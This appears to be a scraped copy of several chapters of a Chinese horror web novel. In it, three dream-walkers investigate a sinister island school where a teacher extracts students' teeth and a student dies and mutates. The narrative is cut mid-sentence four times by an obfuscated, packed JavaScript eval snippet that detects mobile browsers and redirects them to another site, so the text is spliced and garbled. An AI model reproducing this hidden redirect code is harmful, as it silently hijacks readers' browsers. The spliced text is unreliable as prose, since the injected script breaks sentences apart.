风枫二人在夏烛房内焦急等待,直到门锁转动,她完好无损的出现在门口才彻底放下心来。 她站在门口脱掉雨衣,将上面的雨珠抖落。 “没事吧阿烛!”风枫接走她的雨衣,“俺们在窗户这边看,你前脚刚离开,那个老师就出现了,俺放出障目去提醒你,他没有对你怎么样吧?” “倒是没有怎么样…”夏烛把刚才发生的一切讲给两人听。 “符号?什么样的符号?”奈何这里没有纸笔,夏烛只能用手指蘸水在地面上勉强画出大概。 “这是什么意思?”风眠问。 符号分为两部分,夏烛指着外面的三角,“外面这部分我认识,这是彭罗斯三角。” 在二维平面欺骗视觉形成无限循环三角,象征着逻辑悖论。 “只是中间这个字母,就不清楚是什么含义了。” 三人蹲在地上冥思苦想。 “还是线索太少!”风枫站了起来插着腰,“看来只有打扫水池是个机会,如果轮到谁就趁机多去探查一下吧。” 夜色来临,这个世界只露出一角,线索未明前似乎只能等待,各自回了房间,希望今夜无恙。 地面上画出的水渍符号久久不会干涸,就那样呆在房间中央。就算她躺在床上但只要侧过头依然能够看到,在不完全的视野里,水渍边缘似乎在缓慢扩散,竟有铺满房间的趋势,可是撑起上半身来仔细一看又同最初形态没有区别。越是凝视越是觉得大脑中卷起漩涡,太阳穴连着眼眶一阵阵地疼痛,她不得不闭上眼逼自己入睡。 就算如此,脑海中也全是大小不一的三角符号,越来越多越来越密集就要塞满颅腔撑破头骨。 好在这种情况只持续了一会儿,夏烛疯狂默念着“为了对这个幽灵进行神圣的围剿,旧欧洲的一切势力都联合起来了。”中文的不行她就试着蹩脚的俄文,终于在安定重复的宣言中睡着了。 直到半夜,雷声将夏烛惊醒。 胸腔还在轰鸣,她坐起身来看向窗外,海天一色看不到尽头。即使这里四面通透,大海广阔,可是潜意识中知道没有逃离的方式,海面上甚至一艘亮着明黄色小灯的船都没有。 这种无力感会带来一种类似幽闭恐惧的症状。 收回视线的途中发现窗台上赫然多出了两道水痕,夏烛眼皮一跳,她起身撑在窗台上,看着水痕顺着外墙一直延进黑暗中。 这会儿雨势小了,楼下的水池静悄悄地裸露着内里的幽暗。 院子中没有其他异样,夏烛关上玻璃窗,重新躺回硬床板上。 入梦第三日。 钟声再次响起,夏烛已经洗漱完毕,蹲在墙角盯着那几簇红藻。 今天的课果然不出她们所料,已经不在三楼的教室上了。 跟着人群下了二楼,风枫贴着夏烛的胳膊小声说:“今早洗漱的时候俺在洗漱池下面发现了那个三角标志。”她的眼睛看着前方,浅色的瞳孔就像没有聚焦,“不知道是一早就有的还是才出现的,有什么含义呢?” 二楼的教室和一楼没什么区别,风眠还是坐在相同的位置上。 老师踩着最后的钟声进入教室,同样抱着一摞书,只是这次在黑板上写下的不再是生物课,而是文学课。 发放到手里的书变成了一本诗集,但说是诗集也不准确,因为厚厚一本全是同一首诗。 今天依旧是个阴天,好在没有下雨,规律的海浪声中男人要求所有学生朗诵手里的诗,他自己则是游走在各个座位之间,督查谁没有张开嘴巴,就用他那双无脊椎动物般的眼睛狠狠凝视对方。 咸味的带着盐粒的风从海面上来,翻动458面书页,458首相同的诗句闪烁其间。 “尽管那道光穿过风暴和黑夜,” “What though that light, thro'' storm and night,” “遥远颤栗。” “So trembled from afar.” “还有什么比这更纯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759959|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粹明亮” “What could there be more purely bright” “在真理的晨星上?” “In Truth''s day-star?” 是爱伦坡的《A Dream》,夏烛曾经在图书馆中读到过。 三个小时,一首简短的小诗读到人头晕目眩,从极度的干渴状态再转变到溺水一般,风不停歇地吹来,夏烛甚至感觉脸颊上开始出现刮痕,像一块万年被风化的岩石,如果没有时钟始终在黑板正上方缓慢转动,所有人都会怀疑时间是否停止,又或者它快速地奔向无止尽的尽头,屁股已经黏在椅子上大概几千天那么久。 夏烛潜意识中认为这些课程实在不对劲,可就是道不明那处关键点。 “好了…今天的文学课到此结束…课后将进行打扫值日…负责卫生的同学需要在用餐后单独清理水池,工具就在水池旁的仓库中…” “打扫水池的是…2号…风枫同学…” 原本以为今天不会再下雨了,没想到刚坐到食堂的椅子上,就有雨点砸向玻璃窗。今日的菜单和昨天别无二致。 鱼汤,鱼糜,红烧鱼头。 麻木的同学以及机械的老师。 “今天轮到俺打扫,要不趁机到处看看?” “昨天被那个男人抓住,他说了下不为例,你暂时不要冒险。” “所以我们现在的怀疑对象有改变吗?” 三人凑在一起,扒拉着碗里的糊状食物,怀疑对象依旧是老师,夏烛趁机说了自己窗台上出现水痕的事情,叮嘱大家夜晚还是多注意,看样子会有什么突发事件的,而且这个梦似乎也不是最初以为的学校压迫那么单纯。 磨蹭着吃完东西,又在楼梯口分别。 风眠和夏烛一起回了她的房间,两人趴在窗边注视着风枫的一举一动。 她听过夏烛说的打扫流程,从仓库里拿上工具穿好雨衣,签到表上写好自己的姓名编号,就开始围着水池打捞漂浮物。网兜的边缘时而触到水池边附着的藤壶,发出钝钝地声音,她思考这些附着生物是否也需要清理,于是稍稍离近了一些,用网兜使劲去戳池壁。 工具那端忽然被什么东西死死拽住,连带着风枫也被往下拖,速度之快差点来不及反应,她的手心迅速伸出无数藤蔓,一些缠绕上网兜的把手,一些围着她的腰部转了一圈然后瞬息之间蛇形爬向身后的柱子紧紧绕了几圈,才堪堪稳住身形。 窗边的两人看得喉咙一紧,这种情况如果换成他们其中一个恐怕都不好应对。 还得是风家的天才少女。 费了些力气将网兜重新拉回地面,风枫回头和夏烛交换了个眼神,然后重新放出藤蔓。 这次藤蔓从水池边滑进池底,仔细地沿着边壁摸索。 当藤蔓来到朝着海面那一边的池壁时,竟在上面发现了一个洞口,似乎连接大海。 见没有别的情况,她收回藤蔓,拿上工具准备放回仓库,却见到网兜中有一团绿色的水草,其中似乎包裹着什么东西。 门外响起一阵敲门声,风枫穿着深色的雨衣站在门口。 她红色的额发有些潮湿,眼神飘忽没有看向二人。 “俺在网兜里发现了一个东西。” 风枫将手伸进雨衣的口袋,再次摊开时,一颗人类臼齿出现在几人面前。 22.潮水箴言 入梦第四日。 一楼的教室正在上数学课。 这节课没有分发教材,每人手里只拿到一张纸和一只笔。 纸的前半部分是圆周率,一直写到小数点后100位。而后半部分则是一些几何图形。 男人站在讲台上,今天的他有些不同于往日,神情似乎更加兴奋。 “这节课的任务是…背诵圆周率…以及画出标准的几何图形…我将在课堂结束之前…抽选两位同学…检查他们的学习成果…”他双眼扫视了一圈,嘴角扬起露出一个怪异的笑容。 “当然了…对于无法完成检测的同学…老师会给予他们适当的惩罚…就拿走他们…一颗洁白的…锋利的牙齿…如何?”说完他自顾自地笑起来,摆动着脖子上干瘦的头颅,肚皮也一颤一颤。 风枫打了个冷颤,偏偏在她最不擅长的科目上多了惩罚,说实话比起恐怖的怪物和拿着电锯的杀人狂,她似乎更怕因为无法完成老师的任务而受到惩罚。 分秒针滴滴答答,全敲击在她心口上,催命一般,这种准确进入倒计时的感觉令人浑身发痒。她双手捏着那片薄薄地纸张,自己都不曾发现这种恐惧并不正常。 海风,湿气,钟表,浪潮,细小却嘈杂的嗡嗡声,异常的心跳,怪异的表情,正三角,等腰梯形,3.1415926535 8979323846…… 时间一分一秒的过去,风枫甚至十位数字都没有记下来,她的后背出了一层薄汗,干脆转而去画那些几何图形,可是无论怎么小心看上去就是不够标准,线条不够流畅,歪歪斜斜的。她开始烦躁起来,铅笔不停地在纸面上画出深刻的痕迹,一个、两个,越是努力图形看起来越是别扭,那些蛇一样的线条似乎动了起来,不受控制地游走在整张纸上,将数字涂黑,将图形填满,再也看不清原本是什么形状。 她几乎要崩溃了,后槽牙紧紧咬住而变得发酸。 “好了…时间到了…” 男人气息不稳的声音响起。 风枫如临大敌,从慌乱无序中瞬间清醒,低头看向自己的纸张。 没有蛇一样的线条,数字和图形也都完好,她没有像幻觉中那样临摹一个个示范图形而是在空白处画了无数个彭罗斯三角,中心一个衬线的字母“U”。 她的胃里一阵翻腾,仿佛前两天吃下去的鱼在胃袋中活了过来,甩动着尾巴拍打着脆弱的肉壁。 今早起来的时候,她发现水池下的图形布满了整个墙面,密密麻麻像是某种脓包,就像此刻她手里的纸面一样千疮百孔。 “选择谁呢?”男人走下讲台,沿着桌子间的缝隙边走边左右打量。 他在15个人中慢悠悠走了几个来回,将紧张感拉到了极致,最终停留在了一个男生旁边。 “一个…” 风枫呼了口气,下一秒男人又动了起来。 这一次他停在了夏烛桌前,关节膨大的手指点在桌面上。 “两个…”他说。 夏烛和被抽中的男生一起被请上了讲台,在黑板上一口气画出五个标准的几何图形,再按顺序成功背出圆周率小数点后的一百位。 这对于夏烛来说简直毫无挑战,曾有一段时间圆周率是她睡前的催眠曲。 风眠注意到她身边被同样抽中的那个男生,可是无论如何就是记不清他的模样。这一点实在奇怪,让他产生出一种错觉,整个学校除了他们和老师,所有人都在共用一张脸。 一张永远藏在雾气后面,五官模糊的脸。 正想着,老师宣布下课,而今日负责打扫水池的是。 3号,风眠。 男人的语气不算太好,甚至称得上失落。 鱼汤,鱼糜,红烧鱼头。 食堂的空气中弥漫着一股让人反胃的鱼腥味,三人用汤匙搅动着盆里的食物,味道就算再不错,连吃了还几天这会儿也难以下咽了。 “小枫?你没事吧?”风眠和夏烛都注意到了她的心不在焉。 “俺没事…”她是这么说,可是语气也死气沉沉,完全异常,这些形容词根本不是属于风枫的,“俺就是担心下一次数学课,以前上学的时候最怕的就是数学了…” 这一点风眠作为哥哥也是十分了解,他轻轻握住妹妹的手腕,“不用太担心,那么多人,不一定就会抽到你。” “再说了,这个课似乎三天一轮,也许在下次数学课之前我们就能找到魉然后离开这里。” 哥哥的话似乎起了作用,风枫重新扬起小脸,蜜色的眼睛闪着湿润的光。 “倒是有一件事,我之前试图和别的学生打招呼,他们仿佛看不见我一样,不怎么理人,样子也始终记不住。越是这样,我越觉得魉或许并不是老师。”风眠说。 夏烛点点头,她也是这样觉得,否则太明显了一些,16个人,唯一一个行为举止处处都透露出怪异的如果就是魉的话,那红石等级的梦未免过于简单。 “我其实一直想问,既然出梦的关键就是找到魉,杀掉他,梦中其余的生物都是魉捏造的,为什么不能杀掉一些梦中的假物,魉自然而然就在其中呢?” “魍魉梦的目的是困住梦主原本的灵魂,并且给魉足够的时间去化型从而突破梦境去到现实。敌暗我明,在梦里魉才是主宰,一切都不受我们控制,它能控制的不仅仅限于梦主,而是入梦的所有人。如果直接进行无差别的杀戮,也许正中下怀,外放的杀意正好给它机会来掌控我们的心绪,从而得到更强的力量,不明官进入梦境必须遵守规则,扮演其中应当的角色。” “原来如此。” 三人都没什么胃口,原封不动地将餐盆放回原位。经过几天的观察,他们猜测只要在吃饭的时间出现在食堂就不算违反规则,至于你吃或不吃倒没有什么硬性要求。 鉴于昨天风枫打扫的时候出了意外,她们特意叮嘱风眠不要冒险,然后再一次在楼梯口分别。 风枫还是有些无精打采,夏烛干脆牵过她的手。 “我们来比赛单脚跳上三楼吧?” 风枫勉强挤出一个笑容,两人牵着手就这样一阶阶跳到了三楼。 “好啊风枫,气不喘心不跳。”夏烛竖起一个大拇指,后者插着腰恢复原来那种神情,骄傲地仰着头。 “俺可是风枫大人!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770150|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏烛靠在楼梯旁,她倒是有些喘,自从下了课,那串数字就一直在脑子里重播,搞得她有些心烦意乱,并且刚刚上台阶的时候她又发现了一件事,证实了之前的想法。 “果然。” 她指着脚下的台阶问风枫,“你有没有数过刚刚从一楼到三楼我们一共上了多少阶?” 风枫摇摇头。 “68阶。” “这个数字有什么问题吗。” “我的意思,今天是68阶,”夏烛走进风枫,顺势牵起了她的手,“但是昨天,包括前天,从一楼到三楼只需要走64阶。” 说着她拉着风枫走到走廊上,指着从楼顶垂下的藤蔓以及墙上茂盛的一片片红藻。 “这些,这些,三天的时间里统统都在超出常理地生长,就好像,这栋楼,这座岛是活的一样。” 海浪的起伏,从天而降的雨水,风的趋势。 风眠说得没错,敌暗我明,魉在梦中就是造物主般的存在。 “小枫,这里的一切都能被它随意掌控,只有我们,只有我们能够掌握在自己手里。”她捏住风枫的手用了点力,“你可是风枫大人。” “好了,我们去看看风眠的活干得怎么样吧。” 这一次他直接提了一个铁皮桶上来。 门被风眠敲响,他站在门外,将桶往上一提,露出桶里一条发臭的死鱼。 恍惚之间,和不久前的一个场景重叠起来,只是这个世界只剩下颓废的灰蓝色,包括三个人的脸,也在这种光线下变得迷离,捉摸不透。 “这次是什么?” “一条鱼…嗯…一条…” 三人围着铁皮桶,桶沿上垂着软塌塌黏糊糊的水草,保持着和死鱼一样的精神状态,黏糊的,萎靡的,烟灰色的。 似乎谁也不愿意先上手摆弄,盯着它空洞而诡异的眼神。 最终风眠妥协了,反正刚刚已经看过,于是他捏住死鱼湿滑的头,轻轻拨开稍微用力就会烂掉的鱼唇,露出鱼的口腔里,一排整齐甚至算得上洁白的,牙齿。 人类的牙齿。 死鱼长着一副属于人类的牙。 这一幕违和感爆炸的画面,让三人不由倒吸一口冷气,空气中暴露的皮肤爆起一粒粒鸡皮疙瘩。老实说,这么一副好牙尤其适合去拍牙膏广告。 于是被掀起嘴唇一角的,亮着牙齿的鱼就像给了众人一个轻蔑怪异的微笑。 “俺有点想吐,这是正常的吗?” “俺也一样。” “俺也一样。” 风眠放下死鱼,他的指腹间堆积了一层粘液还伴有少许的鱼皮碎片,他举着手指,一捏一松之间拉起了丝。 “走开风眠!”风枫大叫。 这两天的所有反常,都说明楼下的水池并不简单,包括每日都需要人去打扫这一点,一定藏着别的秘密。 “这地方好像在故意恶心俺们?” 也许风枫说的没错,大概就是这个意思。 目前除了一些理不清思维对找魉没有直接性作用的线索,现在她们重新掌握了一个词。 “生物变异。” 23.潮水箴言 钟声响起。 世界处在蓝色的意识潦倒之中。 一个分不清黑夜还是白天的时刻。 海面平静丝绸一般,没有褶皱和波澜,天空像是大海的影子,附和着它的颜色,状态,一切。 钟声在此刻响起。 夏烛挣扎着起身,在这个应该熟睡的时间,不寻常让她坐起之后立马就获得了清醒,整个空间被一种旖旎的光笼罩。 今夜安静得出奇。 时间似乎没有进入第五日,她屏住呼吸听见走廊外传来开门的声音,有人正在外面行走。她赶紧翻身下床,小心翼翼地打开一条门缝。 外面也被同样的光辉,流水一样覆盖,这一层楼的剩下五个房间都被打开,里面的人全都走了出来,面朝着她的方向,却又在楼梯口转身一个接一个地下了楼。 包括风枫的房间。 她几乎和夏烛同时打开房门,却没有注意到夏烛的视线。 望着她快要消失在转角的背影,夏烛拉开门追了上去一把握住风枫的手腕。 “小枫!” 她看见风枫回头,头发的颜色在这种覆盖力很强的蓝色滤镜下却越发的红,像一簇凌晨海边熊熊燃烧的篝火,风将两人的发尾牵扯在一起。 她的眼神如梦初醒,说话的声音却清晰坚定。 “这个钟声有问题,正想追去看看的。” “我们一起。”夏烛没有再说什么,只是也没有松开手。 她们俩跟在人群后面,从二楼又汇集更多的人,找到了同样身处其中的风眠,隔着不远沉默地对视。 没有人说话,连呼吸也变轻,所有人的脸上浮现出一种痴迷的笑容,他们都五官模糊,但那种沉醉却快要溢出身体。众人走出楼房,走到院子里,终于全身沐浴在光辉之下,而扮演老师的男人早已等在大门口,他的脸上带着同样的微笑。 依旧一言不发,领在队伍的前头,第一次走出这间学校。 天地与海都是雾蓝色的,像是夜晚来临或者太阳升起之前,周围理应是暗调的,模糊的,却有一层光辉引路,照亮所有人的脸庞。 直到踏上长长的堤岸,夏烛才知道光辉的来源是什么。 一轮巨大的满月就落在道路尽头的海平面上,她从来没有见过这样的月亮。 庞大,纯净,却有说不上来的诡异。 你只要盯着它,就会在眼前不断地放大,那银白色的圆盘带着深邃的瘢痕张开了它硕大的嘴巴。 夏烛紧紧握着风枫的手,晨风中她的体温有些低,两人走在队伍的最后,风眠的背影在前方若隐若现。左侧的岸离水面大约三米,右侧则是不算太高却陡峭的断崖,前方的路越走越窄快要走到尽头,人群开始挤在一起。夏烛忽然发现头顶的悬崖上似乎有个黑色的影子,只是凝神再要细看就不见了踪影,她怀疑自己是盯着月亮太久,眼睛里出现遮斑。 所有人在堤岸尽头的礁石堆上停了下来。 海风温柔地从远方吹来,海水却平静无波,一种安然自内心升起,夏烛发现连自己也忍不住想要微笑。 无论是现实还是梦中,自然不就这么美好,拥有净化心灵的作用。 可她忽然愣住,梦境世界一切都是假的,所有的东西都是有目的地被创造,她的左眼上方开始不停地跳动。面前的人们依旧带着那种着迷的表情,没有人说话,而是对着一个地方微微扬起脸。 他们都在凝视落下月亮的海域。 一切突然变成了某种诡异的仪式,她第一次为自己的失神感到害怕,为身处其中感到害怕。 这场凝视持续了很久,世界仿佛死寂一般凝固,直到远处钟声再一次敲响,大家如梦初醒,收起僵硬的嘴角,由男人带着再次返回了学校。 他命令所有人回到各自的房间,一切等天亮,新的一天就会开始。 三人间的氛围有些说不上来的奇怪,没有过多的交流,两人在门前分别,她叮嘱风枫一定要小心,无论有什么情况只要出声就好,她就在隔壁。 回到自己房中的夏烛第一次清晰地认识到了这场梦境的可怕之处在于潜移默化地融合,吞噬。让你相信一切,产生出自然而然的归属感,努力过着校园生活,完成老师布置的任务,然后慢慢遗忘时间之外还存在着真实世界。 后半夜她无法再睡着。 盯着黑暗中的一点。 直到标志新一天的钟声第四次响起 入梦第五日。 她们猜得没错,课程三日一循环。 今天又是三楼教室的生物课。 只是跟一开始有些不太相同的,是发到手里的书。 这本书显然已经不是在介绍灵长目动物了,甚至能不能称得上动物也很难说。翻开前两页还算正常,从陆地下到海里,先介绍节肢动物,螃蟹,虾。然后又是脊索动物比如鲸鱼、海马。 往后的画面多于文字,变得怪异荒唐。 例如一对正在交尾的海马,却伸着恶心的人类器官,度过妊娠期开始分娩的雄性海马通过挤压肌肉将上万条长着中年男人面孔的海马幼崽喷出育儿袋。 一条普通的鱼身体两侧长出三对肉翅,那种感觉像是被拔光毛的鸡,图片下方还贴心做了解释,称这种鱼为六翼天使,特点是能在海面上滑翔,缺点是平时栖息于深海之中,如果想要振翅飞翔,水面的气压将会瞬间挤爆它的内脏。 飞翔仅一生一次,每一只飞鱼出生的使命就是游出水面对着空气展示一次自己的丑陋。 当然了,即使这样六翼天使也不会死去,只会拖着它裸露在外的器官重新游回海底,不过血腥味会吸引来一种寄生虫,它们密密麻麻地躲在飞鱼炸开的鱼鳞之下,吸食血肉直至宿主死亡变成一堆烂肉躯壳,寄生虫才算开始了自己的生命之旅。 寄生虫们将控制这副腐烂的躯体在深海中无拘无束地遨游,它们的寿命有万年之久,某种程度上六翼天使应该感谢寄生虫让自己在物理层面得到了永生。 书里还为飞鱼的每一个生命阶段配了插图,煞有介事地一一进行详细的解释,画面精美绝伦,连寄生虫微米级别的口器都绘制得十分用心。 章鱼的大脑像是一颗饱满完整的猪脑花,仅有外面一层薄膜圈着,触手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778767|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则像一条条砧板上新鲜的猪大肠,带着油润感冒着晶莹的血光。长着异形头颅的巨大乌龟,龟壳和内里的肉,质地上做了交换。 画面的冲击力实在太强,夏烛只觉得脑胀眼花,也许是色彩接受超负荷,大脑短时间无法处理这些信息。 她的反应还算轻的,坐在旁边的一个男生则是直接吐了出来。 一时间教室中弥漫着一股食堂全鱼餐的味道,他的消化器官似乎没有消化功能,呕吐物甚至还是原来的形态。 风雨雷电做了这场戏剧的氛围烘托,前一面还平静的海面掀起巨浪,教室直接暗了下去。 男人原本站在讲台上,可见到有学生呕吐后他幽灵般地迅速移到了那人面前,一把扣住了他的下颌。 “你在…做什么…这可是…对生命的…不尊重…”那个男生的嘴角还淌着呕吐物,已经流到了老师手上,可他丝毫不在,瞪圆了双眼,神情异常兴奋,手死死地钳住对方,令他大张着嘴巴无法闭合。 “坏学生…是要接受惩罚的!”他不知从哪里掏出一把止血钳,在类似尖叫声的语气中将尖锐的那头猛地戳进男生的牙龈软肉中,再奋力一撬,一颗沾血还吊着神经的牙齿飞了出来,撞到夏烛的桌脚又弹回地上。 男人满意地收回了手,将地上的牙齿捡了起来,举在眼前像欣赏一个艺术品在闪电中反复观看。 失去一颗臼齿的男生痛苦地倒在地上,因为疼痛而全身痉挛着像一只被开水烫伤的蛆虫,他甚至无法发出尖叫,只有喉咙中呜呜作响,嘴里的口水血液混着残余的呕吐物糊满了整个下巴包括颈脖。 夏烛注意到风枫正皱着眉头一动不动地盯着那个人,看上去好像只是有点震惊,但如果细看就会发现她的咬肌也在颤抖。 没有一个人打算管管地上的学生,老师走回讲台,将牙齿收进上衣口袋,又接着捧起书开始照着念。 好在这里四面通风,血腥气很快就散了大半,雨又下了起来,几滴飘到了坐在窗边的风枫的书上,晕出一种独属于书本的气味。 三个小时如此艰难的结束,地上的人已经晕了过去,老师指定了两个同学将他抬回自己的房间。 “下一个学生记得打扫水池…” “同学们…都要去食堂…吃饭哦…” 食堂吃什么? 自然是。 鱼汤,鱼糜,红烧鱼头。 靠窗的一张圆桌上。 风枫捏着不锈钢汤匙,刮擦着餐盆的边缘,发出不太美妙的噪音。她的焦虑显而易见,怕后天的数学课上,自己会成为那个失去臼齿的人。 “这件事没那么复杂不是吗?如果真到了那一步,我们就直接反击,毁掉这个梦境逼出魉,风枫,你的牙齿只会呆在你的嘴巴里。” 她只好这么安慰,风枫却勉强挤出一个笑容。 风眠排在打饭队伍的后面试图去和其余的同学搭话,可见他现在悻悻地回来就知道没有什么进展。 他把食物放在桌面上,伸手揉了揉风枫的脑袋,坐到了夏烛的身边。 她闻到风眠的身上有一股很重的肥皂味。 24.潮水箴言 回去的时候水池已经被打扫干净,和值日的同学打了个照面。 三人默契得没有进行集中讨论,原因是大家的面容看上去都有些疲惫。夏烛躺在床板上,她的左眼皮始终跳个不停。 这个世界快速陷入黑暗,她却没有睡意,只能盯着头顶天花板上的那片红藻,被夜风吹得左摇右摆,隐约透露躲藏其中的三角形符号。 不知道从什么时候开始,曾经用水画在地面上的东西移到了天花板上,就在夏烛的头顶,每夜与她面对着面。 入梦的第五日快要结束了,破魉还是毫无头绪。 梦的形成是因为执念或者欲望。 那这个梦的执念欲望是什么呢? 是重复的课堂和压抑的校园生活? 夏烛不这样认为,她有种感觉,这些课程反而是梦主特地安排的,甚至它可能享受其中。而重复代表着麻木规训,就好像它在培养一群像它一样热爱这些内容,或者某样东西的人。 包括第三日晚的凝视仪式,他们到底在看什么? 海面或者月亮。 也许不是在看,而是在等待。 思绪具像化在大脑中移动,从一串文字缓慢裂变成数字,再然后就是无数的三角图案,就像程序出现错误,不间隙的闪动。而外界死寂的空间开始出现类似水滴的声音,仿佛头顶的天花板在漏水。 一滴一滴,汇集在胸腔的位置聚出一小滩想象的水。 夏烛陷进某种思想的漩涡。 直到一声凄厉的尖叫打破这种平衡。 “发生什么事了!” 尖叫声从某个房间里传来,吵醒了包括她们三个在内的一些人。 “好像是二楼。”有人指着楼下说到。 夏烛和风枫对视一眼,跟着众人下了楼。 已经有一些人围在二楼的一个房间外面,房门开着,风眠也在其中,正站在门口,似乎看清了门内的景象,转过头来对着两人露出一个意味不明的表情。 是生物课上被惩罚拔掉牙齿的那个男生。 他赤身裸体地仰躺在房间的地板上,月光透过窗户照在周围,也照在他带着微笑,露出一口尖细牙齿的脸上。 无人上前,大家都是面无表情地站在外围,没有一丝起伏的胸膛说明他大概率已经死了。那口不属于人类反而像是某种鱼类的细牙昭示着这件事并没有那么简单,不仅是牙齿,他的身躯也有不同程度的变化。 三人挤开人群,夏烛蹲下身将手指放到那人的鼻子下方,果然没有气息了。 “死了。” 夏烛回头告诉站在门口不愿意靠近的风枫。 尸体下面堆积了一层粘液状的物质,腹部以下则被粘液厚厚地包裹着,他的姿势可以说很板正,双手紧贴着侧面,呈现一种僵直的状态,夏烛犹豫了一秒,就捏住尸体的手腕尝试将手臂提起。 在双臂离开身侧的同时,一层薄如蝉翼的肉膜被拉出,露出掩盖在皮肤下方的四个凸起的肉瘤。 尸体现在的样子,像极了生物书上的六翼天使,肉瘤是还未长出的翅膀。 脸上那个安详而满足的笑容就像他已经完成了自己一生一次的飞翔。 其余的人露出一副事不关己的模样,没有人想要询问一下此刻的情况,直到门口传来一声嬉笑。 “这就是…不尊重…的下场…”老师不知道何时出现,总带着那股幽灵般地气质。 “好了…所有人…都回到自己的房间…这里的一切都与你们…没有关系了…”他挥了挥手赶走堵在门口的学生们。 “还有…你们…可不要耽误明天的课程哦…耽误课程…自然会…受到惩罚…” 风枫听完打了个寒颤,她看了夏烛一眼,转身就往门外走。 虽然房间里没有开灯,但是月光足以让她看清,小枫的鞋跟上亮晶晶的似乎黏着些什么,看着像是尸体上的粘液,可她刚刚好像并没有靠近。 经过男人的身边,夏烛听到他快速而低沉地喃喃。 “有人已经…得到了感召…” 那声音像是在自言自语,或者是故意说给夏烛听。 回到房间的时候,窗外又开始下雨。 风枫先一步关上了房门,夏烛没有来得及叫住她。 梦的危险程度已经提升,不仅会有拔牙的惩罚,现在还会触发死亡。 她刚刚仔细检查过,尸体上并没有其他的外伤,口鼻还算得上正常,也没有中毒的症状,不过连人都产生变异了,也不用再纠结是什么造成死亡的。 应该思考的是,这场意外是否有凶手,凶手又会是谁。 还有男人口中的感召是什么,“被感召的有人”指得究竟是死者还是凶手。 危机感已经挤上喉咙,她的胃部空虚有想要呕吐的趋势。窗外的雨越下越大,雨声密集起来,鬼使神差地夏烛将头探出窗外,往楼下看去。 一个穿着雨衣的黑色人影跌跌撞撞地行走在雨中,他的脚步艰难,肩膀上似乎扛着什么,由一块黑色的油布包裹着。 那东西好像很重,一步一步,干脆放了下来变成了拖拽,过程中一只苍白的手从油布中掉了出来。 终于走到水池边,那人撑着腰休息了片刻,然后一鼓作气将黑色油布连同里面的东西一切扔进了水池。 做完这一切,他站在水边沉寂了几秒,盯着水面一动不动,忽然,就像感应到了什么,猛地侧过头看向窗边的夏烛。 她连忙闪身躲起来,背靠着墙壁坐在床上, 雨衣兜帽下的那张脸,是老师。 现在她终于明白院子里的水池,包括仓库中的油布是用来干什么的了。 “咚——咚——” 黑暗中门被敲响的声音异常惊心。 夏烛从床上下来,她的心跳得有些快,房间内什么趁手的东西都没有,只剩自己的背包还有些重量,只好将背包提在手里,虽然没什么用处,但也能将人砸个措手不及。 “阿烛,有件事情,想跟你商量一下。” 门外面不是别人而是风眠。 他没有打算进来,有些欲言又止,月光从斜侧方打光来,他的发尾染上了点白色,空气里除了雨水的潮湿,还有那股若隐若现的肥皂味。 “我觉得小枫有些不对劲。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786469|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是进来说吧。” “就在这里!”他的语气变得急躁。 “小枫不对劲,我猜你也看到了,她一直站在门口,脚后跟却沾了尸体上的粘液,这说明什么?说明也许她在我们之前就来过死者的房间,说明,也许那人就是她杀的…魉已经盯上她了,她不能有危险…不能…而且,不仅如此…”风眠的眼神躲闪,他只盯着自己的脚面,从始至终没有与夏烛对视。 “不仅这样…连我也变得有些奇怪…”他看起来似乎陷入了回忆。 “我的房间也有一扇这样的窗户,”他指着夏烛房间的另一侧,“窗台下面的外墙上爬了些藤壶,那些藤壶应该长在这里很久了,紧紧贴在墙面上,轻易是去除不掉的,它们的外壳当然也很坚硬…” “可是这几天早上,我发现那些藤壶烂掉了很多,好像被什么硬生生地凿开过,每过一晚,被打开的藤壶数量就变多一些,刚注意到的时候,以为是岛上的鸟类捕食,可紧接着就发现我的指缝中全是藤壶的碎壳,嘴边也是。” 